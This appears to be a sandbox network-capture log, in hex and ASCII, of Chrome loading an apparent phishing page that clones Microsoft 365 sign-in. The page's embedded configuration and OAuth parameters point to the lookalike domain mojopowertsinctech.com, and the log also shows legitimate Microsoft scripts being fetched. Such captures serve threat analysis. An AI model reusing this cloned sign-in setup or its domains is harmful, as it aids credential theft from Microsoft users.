a4eeb694-ec8b-4a70-8d67-795907270600 CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 859ee6d72ab90f73-EWR alt-svc: h3=":443"; ma=86400
2024-02-23 10:49:22 UTC	1369	IN	Data Raw: 35 38 34 36 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 Data Ascii: 5846... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head> <title>Redirecting</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible"
2024-02-23 10:49:22 UTC	1369	IN	Data Raw: 6d 6f 64 65 3d 66 6f 72 6d 5f 70 6f 73 74 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 2b 69 64 5f 74 6f 6b 65 6e 5c 75 30 30 32 36 73 63 6f 70 65 3d 6f 70 65 6e 69 64 2b 70 72 6f 66 69 6c 65 2b 68 74 74 70 73 25 33 61 25 32 66 25 32 66 72 65 61 63 74 2e 6d 6f 6a 6f 70 6f 77 65 72 74 73 69 6e 63 74 65 63 68 2e 63 6f 6d 25 32 66 76 32 25 32 66 4f 66 66 69 63 65 48 6f 6d 65 2e 41 6c 6c 5c 75 30 30 32 36 73 74 61 74 65 3d 53 4b 58 32 73 57 4f 62 6e 6d 43 32 4b 55 44 6d 79 6c 36 49 45 64 52 63 4e 56 67 4d 4f 32 6b 41 4f 76 71 64 78 49 4a 72 37 58 72 79 65 75 64 69 50 78 77 38 4f 34 61 55 42 48 36 31 74 2d 69 35 64 79 69 42 30 7a 45 46 47 4f 72 6f 59 6d 50 56 39 5f 41 43 7a 48 49 6e 76 48 7a 32 53 44 7a 7a 76 41 6a 51 4e 6d 38 32 4d Data Ascii: mode=form_post\u0026response_type=code+id_token\u0026scope=openid+profile+https%3a%2f%2freact.mojopowertsinctech.com%2fv2%2fOfficeHome.All\u0026state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82M
2024-02-23 10:49:22 UTC	1369	IN	Data Raw: 2d 62 34 62 37 2d 33 66 37 31 34 33 66 31 63 37 66 32 22 2c 22 69 77 61 49 46 72 61 6d 65 55 72 6c 46 6f 72 6d 61 74 22 3a 22 68 74 74 70 73 3a 2f 2f 61 75 74 6f 6c 6f 67 6f 6e 2e 6d 69 63 72 6f 73 6f 66 74 61 7a 75 72 65 61 64 2d 73 73 6f 2e 63 6f 6d 2f 7b 30 7d 2f 77 69 6e 61 75 74 68 2f 69 66 72 61 6d 65 3f 63 6c 69 65 6e 74 2d 72 65 71 75 65 73 74 2d 69 64 3d 39 66 32 37 31 30 35 38 2d 31 64 34 65 2d 34 63 61 39 2d 62 34 62 37 2d 33 66 37 31 34 33 66 31 63 37 66 32 5c 75 30 30 32 36 69 73 41 64 61 6c 52 65 71 75 65 73 74 3d 46 61 6c 73 65 22 2c 22 69 77 61 52 65 71 75 65 73 74 54 69 6d 65 6f 75 74 49 6e 4d 73 22 3a 31 30 30 30 30 2c 22 73 74 61 72 74 44 65 73 6b 74 6f 70 53 73 6f 4f 6e 50 61 67 65 4c 6f 61 64 22 3a 66 61 6c 73 65 2c 22 70 72 6f 67 72 Data Ascii: -b4b7-3f7143f1c7f2","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progr
2024-02-23 10:49:22 UTC	1369	IN	Data Raw: 45 69 79 35 36 6e 71 66 32 79 41 41 22 2c 22 63 61 6e 61 72 79 22 3a 22 33 61 37 6f 6f 4d 2f 39 64 6b 66 38 34 6c 50 4a 42 4a 68 50 43 36 76 64 4d 35 32 4d 76 76 53 39 65 6d 61 6a 6c 75 43 4e 69 62 59 3d 30 3a 31 3a 43 41 4e 41 52 59 3a 37 5a 57 47 63 54 55 36 70 75 5a 66 54 68 44 2b 4d 66 52 66 39 57 6b 37 49 34 66 63 67 59 30 32 6e 71 6b 75 53 64 30 67 46 6a 6f 3d 22 2c 22 73 43 61 6e 61 72 79 54 6f 6b 65 6e 4e 61 6d 65 22 3a 22 63 61 6e 61 72 79 22 2c 22 66 53 6b 69 70 52 65 6e 64 65 72 69 6e 67 4e 65 77 43 61 6e 61 72 79 54 6f 6b 65 6e 22 3a 66 61 6c 73 65 2c 22 66 45 6e 61 62 6c 65 4e 65 77 43 73 72 66 50 72 6f 74 65 63 74 69 6f 6e 22 3a 74 72 75 65 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 39 66 32 37 31 30 35 38 2d 31 64 34 65 2d 34 63 Data Ascii: Eiy56nqf2yAA","canary":"3a7ooM/9dkf84lPJBJhPC6vdM52MvvS9emajluCNibY=0:1:CANARY:7ZWGcTU6puZfThD+MfRf9Wk7I4fcgY02nqkuSd0gFjo=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"9f271058-1d4e-4c
2024-02-23 10:49:22 UTC	1369	IN	Data Raw: 78 43 6f 72 73 45 72 72 6f 72 73 22 3a 2d 31 2c 22 6d 61 78 49 6e 6a 65 63 74 45 72 72 6f 72 73 22 3a 35 2c 22 6d 61 78 45 72 72 6f 72 73 22 3a 31 30 2c 22 6d 61 78 54 6f 74 61 6c 45 72 72 6f 72 73 22 3a 33 2c 22 65 78 70 53 72 63 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 6f 33 36 35 2e 6d 6f 6a 6f 70 6f 77 65 72 74 73 69 6e 63 74 65 63 68 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 22 2c 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 2f 22 2c 22 2e 6f 33 36 35 2e 6d 6f 6a 6f 70 6f 77 65 72 74 73 69 6e 63 74 65 63 68 2e 63 6f 6d 22 5d 2c 22 65 6e 76 45 72 72 6f 72 52 65 64 69 72 65 63 74 22 3a 74 72 75 65 2c 22 65 6e 76 45 72 72 6f 72 55 72 6c 22 3a 22 2f 63 6f 6d 6d Data Ascii: xCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://o365.mojopowertsinctech.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".o365.mojopowertsinctech.com"],"envErrorRedirect":true,"envErrorUrl":"/comm
2024-02-23 10:49:22 UTC	1369	IN	Data Raw: 46 61 69 6c 75 72 65 22 3a 74 72 75 65 2c 22 74 65 6c 65 6d 65 74 72 79 22 3a 7b 22 74 79 70 65 22 3a 22 43 68 72 6f 6d 65 53 73 6f 54 65 6c 65 6d 65 74 72 79 22 2c 22 6e 6f 6e 63 65 22 3a 22 41 77 41 42 41 41 45 41 41 41 41 43 41 4f 7a 5f 42 51 44 30 5f 37 42 71 73 48 37 44 61 70 5a 37 68 31 4c 64 41 4d 53 39 35 54 55 50 32 71 56 38 35 75 5a 6f 6f 6e 49 53 47 66 70 4e 77 43 4f 65 51 50 30 61 39 6b 53 6c 38 58 37 70 38 48 36 62 55 76 38 41 42 61 67 43 6d 7a 73 6d 67 30 76 4f 32 6b 50 4f 32 75 37 74 38 2d 38 4f 67 67 36 58 4a 69 50 4c 31 72 63 47 49 70 57 4c 4f 37 39 6d 49 41 41 22 2c 22 72 65 70 6f 72 74 53 74 61 74 65 73 22 3a 5b 5d 7d 2c 22 72 65 64 69 72 65 63 74 45 6e 64 53 74 61 74 65 73 22 3a 5b 22 65 6e 64 22 5d 2c 22 63 6f 6f 6b 69 65 4e 61 6d 65 Data Ascii: Failure":true,"telemetry":{"type":"ChromeSsoTelemetry","nonce":"AwABAAEAAAACAOz_BQD0_7BqsH7DapZ7h1LdAMS95TUP2qV85uZoonISGfpNwCOeQP0a9kSl8X7p8H6bUv8ABagCmzsmg0vO2kPO2u7t8-8Ogg6XJiPL1rcGIpWLO79mIAA","reportStates":[]},"redirectEndStates":["end"],"cookieName
2024-02-23 10:49:22 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 72 3d 72 7c 7c 74 68 69 73 2c 73 26 26 28 73 2e 73 6b 69 70 54 69 6d 65 6f 75 74 3f 61 28 29 3a 6e 2e 73 65 74 54 69 6d 65 6f 75 74 28 61 2c 30 29 29 2c 73 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 65 2c 72 3f 31 3a 30 29 7d 76 61 72 20 6e 3d 77 69 6e 64 6f 77 3b 6e 2e 24 44 6f 7c 7c 28 6e 2e 24 44 6f 3d 7b 22 71 22 3a 5b 5d 2c 22 72 22 3a 5b 5d 2c 22 72 65 6d 6f 76 65 49 74 65 6d 73 22 3a 5b 5d 2c 22 6c 6f 63 6b 22 3a 30 2c 22 6f 22 3a 5b 5d 7d 29 3b 76 61 72 20 6f 3d 6e 2e 24 44 6f 3b 6f 2e 77 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 72 28 65 2c 61 2c 73 29 7c 7c 6f 2e 71 Data Ascii: eturn r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q
2024-02-23 10:49:22 UTC	1369	IN	Data Raw: 2c 65 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 72 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 28 72 2e 64 65 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 6f 29 2c 65 2e 64 65 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 29 7d 76 61 72 20 61 3d 21 31 2c 73 3d 21 31 3b 69 66 28 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 72 2e 72 65 61 64 79 53 74 61 74 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 73 65 74 54 69 6d 65 6f 75 74 28 6e 29 7d 21 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 Data Ascii: ,e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoade
2024-02-23 10:49:22 UTC	1369	IN	Data Raw: 73 73 52 75 6c 65 73 2c 73 3d 21 31 7d 63 61 74 63 68 28 65 29 7b 73 3d 21 30 7d 69 66 28 69 26 26 21 61 26 26 73 29 7b 72 65 74 75 72 6e 21 30 7d 0a 69 66 28 69 26 26 61 26 26 30 3d 3d 3d 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 21 30 7d 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 67 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 72 2c 74 2c 6e 29 7b 76 61 72 20 75 3d 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 75 3d 6f 28 65 29 3f 69 28 65 29 3a 22 73 63 72 69 70 74 22 3d 3d 3d 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3f 61 28 65 29 3a 73 28 65 2c 6e Data Ascii: ssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0}if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n
2024-02-23 10:49:22 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 20 66 28 65 2c 74 2c 6e 2c 6f 29 7b 69 66 28 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 22 2b 28 77 2e 66 61 69 6c 4d 65 73 73 61 67 65 7c 7c 22 46 61 69 6c 65 64 22 29 2c 6f 29 2c 45 5b 65 5d 2e 72 65 74 72 79 3c 79 29 7b 72 65 74 75 72 6e 20 45 5b 65 5d 2e 72 65 74 72 79 2b 2b 2c 76 28 65 2c 74 2c 6e 29 2c 76 6f 69 64 20 63 2e 5f 52 65 70 6f 72 74 46 61 69 6c 75 72 65 28 45 5b 65 5d 2e 72 65 74 72 79 2c 45 5b 65 5d 2e 73 72 63 50 61 74 68 29 7d 6e 26 26 6e 28 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 74 2c 6e 2c 6f 29 7b 69 66 28 75 28 6f 29 29 7b 72 65 74 75 72 6e 20 66 28 65 2c 74 2c 6e 2c 6f 29 7d 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 22 2b 28 77 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 7c 7c 22 4c 6f 61 64 65 64 22 29 2c Data Ascii: ction f(e,t,n,o){if(r("[$Loader]: "+(w.failMessage\|\|"Failed"),o),E[e].retry<y){return E[e].retry++,v(e,t,n),void c._ReportFailure(E[e].retry,E[e].srcPath)}n&&n()}function h(e,t,n,o){if(u(o)){return f(e,t,n,o)}r("[$Loader]: "+(w.successMessage\|\|"Loaded"),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	152.199.4.44	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:23 UTC	639	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_GOwG3D936OfJ_-lzWtiHhg2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o365.mojopowertsinctech.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:23 UTC	770	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2447875 Cache-Control: public, max-age=31536000 Content-MD5: 63IKJF2qGIfEE+hzXafj6A== Content-Type: application/x-javascript Date: Fri, 23 Feb 2024 10:49:23 GMT Etag: 0x8DC1CA7E340C4C2 Last-Modified: Wed, 24 Jan 2024 06:44:17 GMT Server: ECAcc (nya/79DC) Vary: Accept-Encoding X-Cache: HIT X-EC-BBR-Enable: 1 x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 9d1ea393-201e-00cd-0c02-500179000000 x-ms-version: 2009-09-19 Content-Length: 141105 Connection: close
2024-02-23 10:49:23 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-02-23 10:49:23 UTC	1	IN	Data Raw: 79 Data Ascii: y
2024-02-23 10:49:23 UTC	16383	IN	Data Raw: 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a 7b 70 75 73 68 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 5f 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 64 2e 68 69 73 74 6f 72 79 2e 70 75 73 68 53 74 61 74 65 28 65 2c 74 29 7d 2c 72 65 70 6c 61 63 65 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 5f 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 64 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 65 2c 74 29 7d 7d 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c Data Ascii: le(e,null):e.currentStyle?e.currentStyle:{}},history:{pushState:function(e,t){_.isHistorySupported()&&d.history.pushState(e,t)},replaceState:function(e,t){_.isHistorySupported()&&d.history.replaceState(e,t)}},addEventListener:function(e,t,n,r){e.addEventL
2024-02-23 10:49:23 UTC	16383	IN	Data Raw: 52 4f 4e 47 3a 22 38 30 30 34 35 35 30 35 22 2c 50 50 5f 45 5f 48 49 50 5f 56 41 4c 49 44 41 54 49 4f 4e 5f 45 52 52 4f 52 5f 46 41 54 41 4c 3a 22 38 30 30 34 35 35 33 37 22 2c 50 50 5f 45 5f 48 49 50 5f 56 41 4c 49 44 41 54 49 4f 4e 5f 45 52 52 4f 52 5f 55 4e 41 55 54 48 45 4e 54 49 43 41 54 45 44 3a 22 38 30 30 34 35 35 33 38 22 2c 50 50 5f 45 5f 48 49 50 5f 56 41 4c 49 44 41 54 49 4f 4e 5f 45 52 52 4f 52 5f 4f 54 48 45 52 3a 22 38 30 30 34 35 35 33 39 22 2c 50 50 5f 45 5f 53 51 5f 43 4f 4e 54 41 49 4e 53 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 33 34 31 45 22 2c 50 50 5f 45 5f 53 41 5f 43 4f 4e 54 41 49 4e 53 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 33 34 31 43 22 2c 50 50 5f 45 5f 53 41 5f 43 4f 4e 54 41 49 4e 45 44 5f 49 4e 5f 50 41 53 53 57 Data Ascii: RONG:"80045505",PP_E_HIP_VALIDATION_ERROR_FATAL:"80045537",PP_E_HIP_VALIDATION_ERROR_UNAUTHENTICATED:"80045538",PP_E_HIP_VALIDATION_ERROR_OTHER:"80045539",PP_E_SQ_CONTAINS_PASSWORD:"8004341E",PP_E_SA_CONTAINS_PASSWORD:"8004341C",PP_E_SA_CONTAINED_IN_PASSW
2024-02-23 10:49:23 UTC	16383	IN	Data Raw: 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 65 2e 70 75 73 68 28 74 5b 6e 5d 29 3b 72 65 74 75 72 6e 20 65 7d 2c 4e 61 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 53 2e 61 2e 41 28 53 2e 61 2e 62 63 28 65 29 2c 74 29 3b 30 3e 72 3f 6e 26 26 65 2e 70 75 73 68 28 74 29 3a 6e 7c 7c 65 2e 73 70 6c 69 63 65 28 72 2c 31 29 7d 2c 42 61 3a 69 2c 65 78 74 65 6e 64 3a 74 2c 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 6e 2c 41 62 3a 69 3f 6e 3a 74 2c 50 3a 65 2c 47 61 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 72 2c 69 3d 7b 7d 3b 66 6f 72 28 72 20 69 6e 20 65 29 6f 2e 63 61 6c 6c 28 65 2c 72 29 26 26 28 69 Data Ascii: );else for(var n=0,r=t.length;n<r;n++)e.push(t[n]);return e},Na:function(e,t,n){var r=S.a.A(S.a.bc(e),t);0>r?n&&e.push(t):n\|\|e.splice(r,1)},Ba:i,extend:t,setPrototypeOf:n,Ab:i?n:t,P:e,Ga:function(e,t,n){if(!e)return e;var r,i={};for(r in e)o.call(e,r)&&(i
2024-02-23 10:49:23 UTC	16383	IN	Data Raw: 4c 28 54 2c 22 70 65 65 6b 22 2c 54 2e 76 29 2c 53 2e 4c 28 54 2c 22 76 61 6c 75 65 48 61 73 4d 75 74 61 74 65 64 22 2c 54 2e 78 61 29 2c 53 2e 4c 28 54 2c 22 76 61 6c 75 65 57 69 6c 6c 4d 75 74 61 74 65 22 2c 54 2e 79 61 29 2c 53 2e 48 61 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 28 65 3d 65 7c 7c 5b 5d 29 7c 7c 21 28 22 6c 65 6e 67 74 68 22 69 6e 20 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 54 68 65 20 61 72 67 75 6d 65 6e 74 20 70 61 73 73 65 64 20 77 68 65 6e 20 69 6e 69 74 69 61 6c 69 7a 69 6e 67 20 61 6e 20 6f 62 73 65 72 76 61 62 6c 65 20 61 72 72 61 79 20 6d 75 73 74 20 62 65 20 61 6e 20 61 72 72 61 79 2c 20 6f 72 20 6e 75 6c 6c 2c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 2e 22 29 3b 72 65 Data Ascii: L(T,"peek",T.v),S.L(T,"valueHasMutated",T.xa),S.L(T,"valueWillMutate",T.ya),S.Ha=function(e){if("object"!=typeof(e=e\|\|[])\|\|!("length"in e))throw Error("The argument passed when initializing an observable array must be an array, or null, or undefined.");re
2024-02-23 10:49:23 UTC	16383	IN	Data Raw: 28 69 2e 5a 62 3d 7b 7d 29 2c 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 6f 3d 74 3b 65 6c 73 65 7b 76 61 72 20 75 3d 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 2c 6c 3d 75 2e 67 65 74 42 69 6e 64 69 6e 67 41 63 63 65 73 73 6f 72 73 7c 7c 63 2c 64 3d 53 2e 24 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6f 3d 74 3f 74 28 6e 2c 65 29 3a 6c 2e 63 61 6c 6c 28 75 2c 65 2c 6e 29 29 26 26 28 6e 5b 67 5d 26 26 6e 5b 67 5d 28 29 2c 6e 5b 76 5d 26 26 6e 5b 76 5d 28 29 29 2c 6f 7d 29 2c 6e 75 6c 6c 2c 7b 6c 3a 65 7d 29 3b 6f 26 26 64 2e 6a 61 28 29 7c 7c 28 64 3d 6e 75 6c 6c 29 7d 76 61 72 20 66 2c 70 3d 6e 3b 69 66 28 6f 29 7b 76 61 72 20 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 2e 61 2e 47 61 28 64 3f Data Ascii: (i.Zb={}),t&&"function"!=typeof t)o=t;else{var u=S.ga.instance,l=u.getBindingAccessors\|\|c,d=S.$((function(){return(o=t?t(n,e):l.call(u,e,n))&&(n[g]&&n[g](),n[v]&&n[v]()),o}),null,{l:e});o&&d.ja()\|\|(d=null)}var f,p=n;if(o){var h=function(){return S.a.Ga(d?
2024-02-23 10:49:23 UTC	5	IN	Data Raw: 74 69 6f 6e 22 Data Ascii: tion"
2024-02-23 10:49:23 UTC	16383	IN	Data Raw: 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 73 65 6c 65 63 74 65 64 26 26 6f 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 29 29 7d 29 29 2c 53 2e 6d 2e 65 62 28 72 2c 6e 2c 22 73 65 6c 65 63 74 65 64 4f 70 74 69 6f 6e 73 22 2c 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 76 61 72 20 6e 3d 53 2e 61 2e 66 28 74 28 29 29 2c 72 3d 65 2e 73 63 72 6f 6c 6c 54 6f 70 3b 6e 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 6e 2e 6c 65 6e 67 74 68 26 26 53 2e 61 2e 44 28 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 6f 70 74 69 6f 6e 22 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 30 3c 3d 53 2e 61 2e 41 28 6e 2c 53 2e 77 2e 4d 28 65 29 29 3b 65 2e 73 65 6c 65 63 74 65 64 21 3d 74 26 26 53 2e 61 2e 5a 63 28 65 Data Ascii: ),(function(e){e.selected&&o.push(S.w.M(e))})),S.m.eb(r,n,"selectedOptions",o)}function o(){var n=S.a.f(t()),r=e.scrollTop;n&&"number"==typeof n.length&&S.a.D(e.getElementsByTagName("option"),(function(e){var t=0<=S.a.A(n,S.w.M(e));e.selected!=t&&S.a.Zc(e
2024-02-23 10:49:23 UTC	16383	IN	Data Raw: 6f 6e 28 74 29 7b 76 61 72 20 69 3b 6e 2e 65 6e 61 62 6c 65 45 78 74 65 6e 73 69 6f 6e 73 26 26 28 69 3d 74 2e 63 72 65 61 74 65 56 69 65 77 4d 6f 64 65 6c 2c 74 2e 63 72 65 61 74 65 56 69 65 77 4d 6f 64 65 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 69 28 74 2c 6e 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 2e 63 6f 6d 70 6f 6e 65 6e 74 49 64 3b 69 66 28 72 26 26 6f 5b 72 5d 29 7b 76 61 72 20 69 3d 6f 5b 72 5d 2c 61 3d 69 2e 70 61 72 65 6e 74 56 69 65 77 4d 6f 64 65 6c 2c 63 3d 69 2e 61 6c 69 61 73 2c 6c 3d 65 2e 75 6e 77 72 61 70 28 69 2e 65 76 65 6e 74 73 29 7c 7c 7b 7d 3b 63 26 26 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 28 63 3d 61 5b 63 5d 29 2c 65 2e 69 73 57 Data Ascii: 